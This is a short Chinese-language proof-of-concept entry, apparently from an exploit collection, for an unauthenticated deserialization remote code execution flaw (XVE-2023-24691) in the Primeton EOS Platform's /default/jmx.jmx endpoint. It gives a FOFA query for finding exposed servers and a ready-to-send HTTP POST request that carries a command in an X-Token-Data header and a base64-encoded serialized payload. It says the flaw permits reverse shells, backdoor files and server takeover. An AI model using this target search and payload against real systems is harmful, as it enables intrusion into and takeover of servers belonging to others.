## 普元EOS-Platform-jmx.jmx存在远程代码执行漏洞(XVE-2023-24691)

普元EOS Platform中间件/default/jmx.jmx存在反序列化漏洞，未经身份验证的攻击者可利用此漏洞执行任意代码，反弹shell或者写入后门文件，进一步可获取服务器权限。

## fofa
```
body="普元" || (body="ame.primeton.com" && body="eos-web")
```

数据包使用yakit发送
## poc
```
POST /default/jmx.jmx  HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
X-Token-Data: whoami
Content-Type: text/plain
Connection: close

{{base64dec([encoded data, 6788 characters])}}
```

